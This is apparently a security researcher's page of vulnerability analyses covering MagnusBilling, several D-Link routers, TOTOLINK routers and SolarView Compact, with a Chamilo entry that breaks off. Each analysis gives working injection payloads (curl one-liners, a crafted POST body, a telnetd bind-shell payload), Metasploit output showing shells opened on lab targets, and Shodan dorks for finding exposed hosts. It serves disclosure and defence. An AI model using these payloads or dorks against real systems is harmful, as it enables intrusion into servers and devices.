h00die-gr3y (79)
Last Login: November 27, 2023
h00die-gr3y's Latest (20) Contributions
Technical Analysis
MagnusBilling
is an open source tool written in PHP
and JAVASCRIPT
, using the EXTJS 6
and YII FRAMEWORK
frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.
Unfortunately a command injection vulnerability exists in MagnusBilling
versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php
, with a call to exec()
at line 753. The parameter to exec()
includes the GET
parameter democ
, which is controlled by the user.
if (isset($_GET['demo'])) { if ($_GET['demo'] == 1) { exec("touch idepay_proccess.php"); } else { exec("rm -rf idepay_proccess.php"); } } if (isset($_GET['democ'])) { if (strlen($_GET['democ']) > 5) { /** begin vulnerable code **/ exec("touch " . $_GET['democ'] . '.txt'); /** end vulnerable code **/ } else { exec("rm -rf *.txt"); } }
An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data
or asterisk
. At a minimum, this allows an attacker to compromise the billing system and its database.
You can simply test the vulnerability launching a curl
request issuing a blind command injection using a sleep
command, lets say 15 seconds.
Curl
will take approximately 15 seconds to return if the target is vulnerable.
curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'
A shodan
search with dork http.html:"magnusbilling"
still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP
webshell, performing a UNIX
command injection or launching native Linux Meterpreter
.
Module in action
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info Name: Magnusbilling application unauthenticated Remote Command Execution. Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2023-06-26 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Eldstal Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics /using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /mbilling yes The MagnusBilling endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma chine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. When TARGET is 0: Name Current Setting Required Description ---- --------------- -------- ----------- WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left unset. Payload information: Description: A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request. A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and not properly sanitised/escaped. After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. At a minimum, this allows an attacker to compromise the billing system and its database. The following magnusbilling applications are vulnerable: - Magnusbilling application version 6 (all versions); - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability; References: https://nvd.nist.gov/vuln/detail/CVE-2023-30258 https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258 https://eldstal.se/advisories/230327-magnusbilling.html View the full module info with the info -d command.
Example using the PHP target option
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31 rhosts => 192.168.201.31 msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.31:80 can be exploited. [*] Performing command injection test issuing a sleep command of 5 seconds. [*] Elapsed time: 5.1 seconds. [+] The target is vulnerable. Successfully tested command injection. [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.31 [+] Deleted LfsCVIttNL.php [*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000 meterpreter > getuid Server username: asterisk meterpreter > sysinfo Computer : debian OS : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 Meterpreter : php/linux meterpreter >
You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.
Mitigation
You should update your MagnusBilling
application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php
under the mbilling
directory at your web server root.
References
CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6
Credits
eldstal.se
discovery of the vulnerability
Technical Analysis
This vulnerability is based on an old theme that was discovered in 2013 by Zach Cutlip
and explained in his blog The Shadow File. It is based on the infamous UPnP
attack where a command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to the UPnP
via a crafted M-SEARCH packet.
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform a remote command execution by injecting the payload into the Search Target
(ST) field of the SSDP M-SEARCH discover packet.
What triggered my interest is the fact that 10 years after the discovery, this vulnerability still exists and is alive and kicking. Running a Shodan search title:"d-link"
shows around 80.000 D-Link devices from which a considerable amount of devices are still vulnerable. Fortunately, this attack can only performed as a LAN based attack because the UPnP
discovery service running on port 1900 is typically not exposed to Public Internet.
Besides the DIR-600 model, multiple other D-Link devices have the same vulnerability. I did some extensive testing with FirmAE
to simulate and test different D-Link devices and found a comprehensive list of devices that are vulnerable:
- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
- probably more looking at the scale of impacted devices :–(
In Metasploit
, several modules are available to exploit this vulnerability, but unfortunately they all lack good check
logic to determine if a D-Link device is vulnerable. Another limitation is that these modules only cover a part of the vulnerable devices during the exploit phase due to the fact that not all architectures are supported (mipsbe
, mipsle
and armle
).
To overcome these limitations, I created a new module that has an enhanced check
method that determines the D-Link device model, firmware information and architecture to determine if the device is vulnerable. Also I extended the exploit part to cover the missing armle
architecture using the Linux Dropper
target and I included a Unix Command
target that leverages the busybox telnetd
payload.
Module in Action
D-Link DIR-600 emulated target
# ./run.sh -d d-link /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin [*] /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 25 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [+] Run debug! Creating TAP device tap25_0... Set 'tap25_0' persistent and owned by uid 0 Initializing VLAN... Bringing up TAP device... Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - DIR600B6_FW215WWb02 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [+] netcat connected ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux / # hostname dlinkrouter / #
Metasploit module
msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > options Module options (exploit/linux/upnp/dlink_msearch_unauth_lan_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) UPNP_PORT 1900 yes Universal Plug and Play (UPnP) UDP port URIPATH no The URI to use for this exploit (default is random) URN urn:device:1 no Set URN payload VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/bind_busybox_telnetd): Name Current Setting Required Description ---- --------------- -------- ----------- LOGIN_CMD /bin/sh yes Command telnetd will execute on connect LPORT 4444 yes The listen port RHOST 192.168.0.1 no The target address Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > check [*] Checking if 192.168.0.1:80 can be exploited. [*] 192.168.0.1:80 - The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.0.1:80 can be exploited. [+] The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle [*] Executing Unix Command for cmd/unix/bind_busybox_telnetd [*] payload: urn:device:1;`telnetd -l /bin/sh -p 4444` [*] Started bind TCP handler against 192.168.0.1:4444 [*] Command shell session 1 opened (192.168.0.2:41797 -> 192.168.0.1:4444) at 2023-10-16 13:54:53 +0000 Shell Banner: _!_ ----- # uname -a uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux # hostname hostname dlinkrouter #
You can find the module here in my local repository or as PR 18463 at the Metasploit Github development.
Mitigation
You should update your D-link network devices listed in this article to the latest available firmware.
References
CVE-2023-33625
CVE-2020-15893
CVE-2019–20215
D-Link DIR-859: UnAuthenticated RCE in ssdpcgi HTTP_ST
The Shadow File: DLink DIR-815 UPnP Command Injection
Multiple Vulnerabilities discovered in the D-link Firmware DIR-816L
D-link DIR-600 cmd injection vulnerability
D-Link UPnP Unauthenticated LAN RCE – h00die-gr3y Metasploit local repository
D-Link UPnP Unauthenticated LAN RCE – Metasploit PR 18463
D-Link Firmware Repository
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
Zach Cutlip
Michael Messner <devnull@s3cur1ty.de>
Miguel Mendez Z. (s1kr10s)
Pablo Pollanco (secenv)
Naihsin https://github.com/naihsin
And to all other good fellows who raised this concern ;–)
Technical Analysis
Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.
I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne
. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE
significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.
In my case, I settled for FirmAE
, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.
Ok let’s go down to business and do some analysis and emulation with FirmAE
.
I installed FirmAE
on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk
need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE
installation otherwise you will not be able to extract the firmware.
Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102
and .V9.1.0u.6369_B20230113
UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar
, so please use V9.1.0u.6118_B20201102.zip
for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.
- Wireless Dual Band Gigabit Router model A7000R with firmware
A7000R_V9.1.0u.6115_B20201022.zip
- Wireless Dual Band Gigabit Router model A3700R with firmware
A3700R_V9.1.2u.6134_B20201202.zip
- Wireless N Router model N200RE V5 with firmware
N200RE_V5_V9.3.5u.6095_B20200916.zip
andN200RE_V5_V9.3.5u.6139_B20201216.zip
- Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6095_B20200916.zip
andN350RT_V9.3.5u.6139_B20201216.zip
- Wireless Extender model EX1200L with firmware
EX1200L_V9.3.5u.6146_B20201023.zip
- And probably more looking at the scale of impacted devices :–(
We are now ready to start the emulation. With FirmAE
, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh
to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…
TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC
in firmae.config
to false (however, not necessary to make below work).
# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip [*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/mem: File exists mknod: /dev/kmem: File exists mknod: /dev/null: File exists mknod: /dev/random: File exists mknod: /dev/urandom: File exists mknod: /dev/console: File exists mknod: /dev/ptmx: File exists mknod: /dev/ttyS0: File exists mknod: /dev/ttyS1: File exists mknod: /dev/ppp: File exists mknod: /dev/mtd0: File exists mknod: /dev/mtd1: File exists mknod: /dev/mtd2: File exists mknod: /dev/mtd3: File exists mknod: /dev/mtd4: File exists mknod: /dev/mtd5: File exists mknod: /dev/mtd6: File exists mknod: /dev/mtdblock0: File exists mknod: /dev/mtdblock1: File exists mknod: /dev/mtdblock2: File exists mknod: /dev/mtdblock3: File exists mknod: /dev/mtdblock4: File exists mknod: /dev/mtdblock5: File exists mknod: /dev/mtdblock6: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 1 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Run debug! Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... None false false -1 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - X5000R_V9.1.0u.6118_B20201102 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit
Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat
can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat
to access your running firmware and run below commands to check the network configuration.
>1 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123458 yes eth2 / # ifconfig -a ifconfig -a br0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:58 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:33 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:1980 (1.9 KiB) eth3 Link encap:Ethernet HWaddr 52:54:00:12:34:59 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ip6tnl0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 NOARP MTU:1452 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) sit0 Link encap:IPv6-in-IPv4 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) tunl0 Link encap:UNSPEC HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / #
In my case, there were two issues, first of all the bridge command showed eth2
instead eth0
and br0
did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.
/ # brctl addif br0 eth0 brctl addif br0 eth0 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123456 yes eth2 eth0 / # ifconfig eth0 up ifconfig eth0 up / # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 / #
You should now be able to ping
the network address 192.168.0.1 from your host and run a nmap
command to check the services.
# ping 192.168.0.1 PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms ^C --- 192.168.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.0.1 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC Nmap scan report for 192.168.0.1 Host is up (0.011s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 23/tcp filtered telnet 80/tcp filtered http 8080/tcp filtered http-proxy MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
nmap
shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command
parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi
file that you can find in the www
directory at the emulated firmware.
/www/cgi-bin # ls -l ls -l -rwxrwxr-x 1 root root 455 Nov 2 2020 ExportSettings.sh -rwxrwxr-x 1 root root 251300 Nov 2 2020 cstecgi.cgi lrwxrwxrwx 1 root root 15 Nov 2 2020 custom.cgi -> /tmp/custom.cgi /www/cgi-bin #
To analyze, you can load this IDA
or Ghidra
to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra
where the parameter command
is not properly escaped when it is executed using the doSystem
command which is basically an OS command call to the underlying Linux OS.
undefined4 FUN_0041f6a0(undefined4 param_1) { undefined2 *param3; undefined2 *__nptr; int param2; char acStack_90 [128]; memset(acStack_90,0,0x80); param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com"); __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70); param2 = atoi((char *)__nptr); sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3); doSystem(acStack_90); setResponse(&DAT_00436104,"reserv",param2,param3); return 1; }
Besides reverse engineering using Ghidra
or IDA
, you can use the firmware analysis functionality provided by FirmAE
. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit
to find vulnerable code.
Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST
request with a manipulated command
parameter using burpsuite
.
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 77 Origin: http://192.168.0.1 Connection: close {"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}
Below is a valid response.
HTTP/1.1 200 OK Connection: close Date: Sun, 13 Sep 2015 16:37:50 GMT Server: lighttpd/1.4.20 Content-Length: 234 traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets 1 localhost.localdomain (127.0.0.1) 4.842 ms 0.195 ms 0.192 ms { "success": true, "error": null, "lan_ip": "192.168.0.1", "wtime": "0", "reserv": "reserv" }
However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt
successfully created.
/tmp # ls -l *.txt ls -l *.txt -rw-rw-rw- 1 root root 7 Sep 13 16:37 cuckoo.txt /tmp # cat cuckoo.txt cat cuckoo.txt cuckoo /tmp #
A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.
Mitigation
You should update your TOTOLINK X5000R
router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.
References
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware
Credits
Kazamayc
And to all other good fellows who raised this concern ;–)
Technical Analysis
With the heat records breaking almost every day around the globe, Solar Energy solutions are becoming rapidly main stream in households around the world. If you look in the street where you live, you will probably find a few neighbors with solar panels installed on their roof and nice little apps that can track you solar energy capacity.
Cool stuff, but as always, when connected to the Internet, you can introduce an entry point for a attacker to hack into your solar energy devices / inverters. Cyble
security analysts recently published a nice report that explains the Security Gaps in Green Energy Sector: Unveiling the Hidden Dangers of Public-Facing PV Measuring and Diagnostics Solutions.
One of these energy solution providers is a Japanese company called Contec
, that provides Solar Energy solutions to the market. One of their solutions, SolarView Compact has a vulnerability that allows remote code execution on a vulnerable SolarView Compact
device by bypassing internal restrictions through the vulnerable endpoint downloader.php
using the file
parameter. Firmware versions up to v6.33
are vulnerable.
Again a very basic case of using direct system calls in your application code without sanitizing the input parameters properly.
If you analyze downloader.php
, you easily can identify the vulnerable code that triggers the remote code execution with a malicious request.
You can retrieve this information by downloading the SolarView Compact firmware v600. You need to register yourself before you can download the firmware svcUpdateV600.fpk
.
Run the following commands to access the firmware and extract downloader.php
.
# mv svcUpdateV600.fpk svcUpdateV600.gz # tar -ztvf./svcUpdateV600.gz html/downloader.php -rwxr--r-- 0 nobody nogroup 1986 Dec 7 2018 html/downloader.php # tar -zxvf./svcUpdateV600.gz html/downloader.php x html/downloader.php
// downloader.php <? if( isset($_REQUEST['file']) ){ $file = $_REQUEST['file']; } // function get_extend( $filename ){ $pos = strrpos( $filename, "." ); return substr( $filename, $pos ); } // // $ext = get_extend( $file ); // switch( $ext ){ case ".csv": break; case ".jpg": case ".jpeg": case ".JPG": case ".JPEG": case ".Jpeg": case ".Jpg": case ".gif": case ".GIF": case ".Gif": $path = "/home/www/html/images/"; break; case ".zip": // $file is not proper sanitized !!!! $ARCH_FILE = sprintf("/home/contec/data/%s", $file); if( file_exists($ARCH_FILE) ){ unlink($ARCH_FILE); } $cmd = sprintf("/usr/local/bin/data_zip.sh %s > /dev/null", basename($ARCH_FILE)); // Using a direct system call can trigger the RCE !!!! system($cmd); $file = $ARCH_FILE; break; } ....
A short demonstration below shows how easy it is to trigger the RCE.
Malicious burp request using curl http://TARGET-IP/downloader.php?file=%3Bid%3B.zip
GET /downloader.php?file=%3Bid%3B.zip HTTP/1.1 Host: <TARGET-IP> User-Agent: curl/7.88.1 Accept: */* Connection: close
Burp response
HTTP/1.1 200 OK X-Powered-By: PHP/5.2.17 Content-type: text/html Connection: close Date: Wed, 23 Aug 2023 08:09:07 GMT Server: lighttpd/1.4.28 Content-Length: 1072 5000 rows exported. -> /tmp/history.csv zip warning: name not matched: images/slide_monthly_guide.png zip warning: name not matched: images/slide_daily_guide.png zip I/O error: Not a directory zip error: Could not create output file (/home/contec/data/.zip) uid=1001(contec) gid=0(root) <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/css; charset=Shift_JIS"> <LINK HREF="/css/style1.css" REL="stylesheet" TYPE="text/css"> <LINK REL="SHORTCUT ICON" HREF="/favicon.ico"> <TITLE>Error 404</TITLE> </HEAD> <BODY> ....
I will leave it to the readers imagination what else you can run then a simple id
command, but the underlying Linux armle
operating system has a nice rich command set such as nc
, wget
, bash
, python
, openssl
and base64
that can be leveraged for your RCE.
And as you can see, we already get a little bonus because default the security context of the user contec
, which is running the service, is part of the root
group that gives us elevated privileges.
A Metasploit module is in development.
You can find the module here in my local repository or as PR 18313 at the Metasploit Github development.
Mitigation
Please update your SolarView Compact
application to the latest available firmware which is v8.00
or higher.
References
SolarView Compact
Security Gaps in Green Energy Sector
CVE-2023-23333
SolarView Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18313
Credits
To all good fellows who raised this concern ;–)
Technical Analysis
Chamilo
is a free software (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It has been used by more than 30M people worldwide since its inception in 2010.
The following Shodan
dork: http.component:"Chamilo"
